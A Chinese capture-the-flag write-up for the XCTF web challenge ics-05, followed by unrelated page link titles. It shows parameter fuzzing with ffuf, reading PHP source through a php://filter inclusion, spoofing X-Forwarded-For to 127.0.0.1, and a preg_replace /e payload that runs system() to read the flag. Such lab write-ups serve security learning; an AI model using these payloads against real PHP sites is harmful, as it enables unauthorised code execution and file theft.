当前位置: 首页 > news >正文

XCTF-web-ics-05

看一下有什么

image

只有/index.php

image

模糊测试得到一个page

┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://223.112.5.141:52073/index.php?FUZZ=FUZZ" -w /usr/share/wordlists/rockyou.txt -fc 403 -c -fs 2305 -s
page

尝试用php伪协议读取源码?page=php://filter/read=convert.base64-encode/resource=index.php

<?php
$page = $_GET[page];
if (isset($page)) {
if (ctype_alnum($page)) {
?>
<?php
}else{
?>
<?php
}}
//方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试
if ($_SERVER['HTTP_X_FORWARDED_FOR'] == '127.0.0.1') {echo "<br >Welcome My Admin ! <br >";$pattern = $_GET[pat];$replacement = $_GET[rep];$subject = $_GET[sub];if (isset($pattern) && isset($replacement) && isset($subject)) {preg_replace($pattern, $replacement, $subject);}else{die();}
}
?>

改一下HTTP_X_FORWARDED_FOR为127.0.0.1

preg_replace 函数:preg_replace ($pattern, $replacement, $subject) 函数会将 subject 中匹配 pattern 的部分用 replacement 替换,启用 /e 参数,就会将 replacement 当做 php 代码执行

image

flag:?pat=/abc/e&rep=system(‘cat+s3chahahaDir/flag/flag.php’)&sub=abc

image

相关文章:

  • 榕壹云健身预约系统:多门店管理的数字化解决方案(ThinkPHP+MySQL+UniApp实现)
  • Excel表格批量下载 CyberWin Excel Doenlaoder 智能编程-——玄武芯辰
  • KINGCMS被入侵
  • 接口重试的7种常用方案!
  • 70道Hive高频题整理(附答案背诵版)
  • WordPress 6.5版本带来的新功能
  • 如何使用插件和子主题添加WordPress自定义CSS(附:常见错误)
  • 服务端定时器的学习(一)
  • K8s基础一
  • 云服务器部署Gin+gorm 项目 demo
  • k8s更新证书
  • ElasticSearch+Gin+Gorm简单示例
  • CSS基础2
  • 03.搭建K8S集群
  • K8S上使用helm部署 Prometheus + Grafana
  • 不动产登记区块链系统(Vue3 + Go + Gin + Hyperledger Fabric)
  • [P2P]并发模式
  • 可重复读和读提交是如何工作的?
  • iOS 电子书听书功能的实现
  • Java基础(二):八种基本数据类型详解
  • 重庆网站建设哪家专业/网店运营是做什么的
  • 微网站自己可以做么/公司做网站需要多少钱
  • 视频网站怎么做外链/seo咨询推广找推推蛙
  • 宁波网站建设风格/seo的优化方案
  • 专门做相声的网站/什么网站可以发布广告
  • 网站建设的费用预算/爱链